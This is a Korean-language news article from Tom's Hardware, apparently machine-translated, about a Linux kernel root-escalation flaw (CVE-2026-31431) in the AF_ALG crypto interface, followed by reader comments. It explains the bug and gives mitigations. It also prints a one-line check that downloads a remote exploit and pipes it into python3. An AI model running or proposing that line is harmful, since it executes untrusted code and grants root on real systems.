Linux 시스템 관리자: 2017 년 이후 대부분의 배포판에서 즉시 관리자 권한을 부여하는 취약점 — 암호화 최적화 실수가 로컬 사용자에게

Linux 시스템 관리자를 위한 흥미로운 패치 주기가 되었습니다. Xint Code 의 연구원들이 다수의 사용자 서버 (웹 서버, 컨테이너 환경인 Kubernetes, CI/CD 파이프라인 등) 에 대한 악몽 같은 시나리오를 만들어내는 나쁜 취약점을 발견했습니다. 이 취약점은 즉시 로컬 비권한 사용자에게 루트 권한을 부여합니다.

CVE-2026-31431 취약점은 현재 사용 중인 거의 모든 Linux 배포판에 영향을 미치며 2017 년부터 존재해 왔습니다. 이는 제로데이 (zero-day) 가 아니며 커널 패치가 이미 적용되었으나, 짧은 공개 기간이 배포판 제작자에게 반응할 시간을 상대적으로 적게 주었습니다. 영향을 받은 버전은 (하지만 이에 국한되지 않음) Ubuntu 24 (버전 26 은 지난 주에 새로 출시됨), RHEL 10, Suse 16, Amazon Linux 2023 입니다. Windows 의 WSL2 도 영향을 받으며, 이를 수행하는 데 필요한 데이터는 732 바이트뿐입니다.

시스템이 취약한지 확인하려면 표준 비권한 계정으로 "curl https://copy.fail/exp | python3 && su" 를 실행하면 됩니다. (하지만 온라인 스크립트를 신뢰한다는 점을 유의해야 합니다). 증명용 소스 코드는 선호하신다면 여기에서 사용할 수 있습니다. 배포판에 아직 패치가 없다면 두 가지 완화 방법을 시도해 보실 수 있습니다.

커널이 algif_aaed 를 모듈로 로드하는 경우, 간단한 [ echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf ] 가 충분합니다. 그러나 일부 배포판은 RHEL 와 WSL2 를 포함하여 해당 기능을 커널 코어에 직접 컴파일하기도 합니다. 이는 해당 경우에는 seccomp 프로파일, AppArmor, 또는 SELinux 를 통해 AF_ALG 소켓을 열지 못하도록 사용자를 거부하는 방식으로 완화해야 함을 의미합니다.

Xint Code 보안 팀이 이 취약점을 이렇게 조기에 공개한 이유는 제공하지 않았으나, AI 어시스턴트의 도움을 받아 발견되었다고 언급했습니다. Linux 커널 소스 코드가 본질적으로 공개되어 있으므로, 이론상 어떤 심각한 공격자도 쉽게 찾을 수 있습니다. 빠른 공개는 불행히도 필수가 되었을 것입니다.

취약점 메커니즘 자체는 상당히 기발합니다. AF_ALG 는 애플리케이션이 데이터를 암호화하거나 해독하기 위해 제공된 데이터와 태그를 제공하는 데 사용할 수 있는 소켓입니다. 공격을 수행하려면 "su" 와 같은 태그로 접근할 수 있는 실행 파일의 splice 를 제공합니다.

핵심적인 "algif_aead" 커널 함수는 암호화하고 다시 복사하지 않는 내부 최적화를 가지고 있습니다. 대신, * 태그 데이터를 참조하여 출력 버퍼에 직접 연결합니다. 우연히도, "authencesn" 암호화 알고리즘은 출력 버퍼의 고정 오프셋에 4 바이트를 씁니다. 스플리시한 태그 ("su" 의 페이지 데이터) 는 이제 그 출력의 일부이므로, 해당 바이트는 커널의 실행 파일 캐시본으로 직접 쓰여집니다.

실행 파일을 호출하면, 그것은 기쁘게 손상되며 관리자 권한을 부여합니다. 이 모든 것은 메모리에서 일어나며, 따라서 감지할 수 없는 디스크 작성도 없고, 공격은 많은 보안 시스템에도 통과됩니다.

*Tom's Hardware 를 Google News 에서 *팔로우하거나, 우리를 선호하는 소스로 추가하여 최신 뉴스, 분석 및 리뷰를 피드에 가져오세요.

브루노 페레이라 (Bruno Ferreira) 는 Tom's Hardware 의 기여 작가입니다. PC 하드웨어 및 다양한 소품에 대한 수십 년의 경험과 개발자로서의 커리어를 가지고 있습니다. 그는 세부 사항에 집착하며, 좋아하는 주제에서는 길게 이야기하는 경향이 있습니다. 그렇지 않을 때는 주로 게임을 하거나 라이브 음악 쇼 및 페스티벌을 즐깁니다.

답변

그들 이제부터 더 겸손해질지도 모릅니다? 아니요, 맞습니다.PEnns 님이 말씀하신 것은:

"Linux 커뮤니티가 Linux inception(시작) 이후 지금까지 Windows 사용자들에게 자랑해 온 완벽한 무적함 (invincibility) 이 이것이 바로 그거다??"

Tsk tsk...

답변

지금까지 나는 어떤 Linux 기계에서도 AV 를 실행할 필요가 없었습니다. 내가 아는 누구의 소유든 Linux 기계가 실제로 어떤 것들에 의해 악용된 적이 있다는 것을 알고 있습니다. 0 대입니다. 하지만 Windows 를 실행했을 때는 그렇지 않았습니다.PEnns 님이 말씀하신 것은:

"Linux 커뮤니티가 Linux inception(시작) 이후 지금까지 Windows 사용자들에게 자랑해 온 완벽한 무적함 (invincibility) 이 이것이 바로 그거다??"

Tsk tsk...

나는 누구도 Linux 가 "무적함 (invincible)"이라고 주장한 적이 없다고 생각합니다. Linux 의 공격 취약점의 상대적인 희소성은 주로 사용자의 수가 적고 사용자들이 기술 문맹이 거의 아니라는 점에 기인합니다.

답변

어떤 경우든 Linux 는 말웨어를 처리하는 데 제대로 준비되어 있지 않습니다. Linux 가 말웨어로 가득 차지 않은 유일한 이유는 실제로 아무도 사용하지 않기 때문입니다. 그리고 보안 보너시 (bug bounty), 강제 업데이트, 전용 보안 팀이 없기 때문에 취약점은 발견되는 데 수년이 걸리고, 악용된 후 영향을 받은 장치에 업데이트를 배포하는 데는 영원히 걸립니다.PEnns 님이 말씀하신 것은:

"Linux 커뮤니티가 Linux inception(시작) 이후 지금까지 Windows 사용자들에게 자랑해 온 완벽한 무적함 (invincibility) 이 이것이 바로 그거다??"

Tsk tsk..."